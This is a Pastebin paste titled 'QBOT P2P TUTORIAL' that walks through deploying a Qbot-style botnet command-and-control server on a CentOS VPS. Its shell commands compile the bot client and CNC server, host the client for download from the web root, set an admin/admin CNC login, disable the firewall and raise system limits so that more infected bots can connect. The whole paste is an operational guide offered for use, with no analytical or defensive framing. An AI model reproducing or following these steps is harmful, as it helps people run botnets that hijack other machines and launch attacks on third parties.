Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- *** QBOT P2P TUTORIAL ***
- * MUST BE RUNNING CENTOS 6 X64 *
- yum update -y
- mkdir /var/www;mkdir /var/www/html
- cd /var/www/html
- //upload client.c
- //upload penuis.c
- ifconfig
- //copy the inet address<<your vps ip
- //open up client.c
- //replace the ip addresses
- //click save
- //compile that shit
- //aka
- //python penis.py client.c (SERVERS IP)
- //DONT BE LIKE CODE AND WAIT A DAMN MINUTE
- //after this compile finishes, my script should redirect you to the /root/
- //directory
- mkdir p2p
- cd p2p
- //upload ztest.c (the server.c)
- //and compile that shit
- gcc server.c -o server -pthread
- rm -rf *c
- echo admin admin>>login.txt
- //time to screen it
- //Zekrom Screen Usage: screen ./server [client-port] [threads] [cnc-port]
- screen ./server 666 1000 999
- //stop and disable iptables
- //flush httpd
- service iptables stop
- chkconfig iptables off
- service httpd restart
- //change the ulimit
- //the ulimit raises the ammount of bots that can join
- //or the traffic the server can handle
- ulimit -Hn 999999; ulimit -Sn 99999
- echo -e 'ulimit -s 999999; ulimit -n 999999; ulimit -u 999999\n' > ~/.bashrc
- ulimit -s 999999; ulimit -n 999999; ulimit -u 999999
- sysctl -w fs.file-max=999999 >/dev/null
- //change the nofile limit
- //the hard part
- //make sure the changes you make lines up
- //this keeps the client from crashing in the screen
- nano /etc/security/limits.conf
- #* soft nofile 999999 //add these
- #* hard nofile 999999 // to the limits.conf
- //time to reboot the server
- reboot
- //then restart the screen
- //pretty much self explaintory
- // just screen the shit again
- //but just incase ya stupid not to know that XD
- //ill put the commands here again :/
- cd p2p
- screen ./server 666 1000 999
- ctrl a-d
- service httpd restart
Advertisement
Add Comment
Please, Sign In to add comment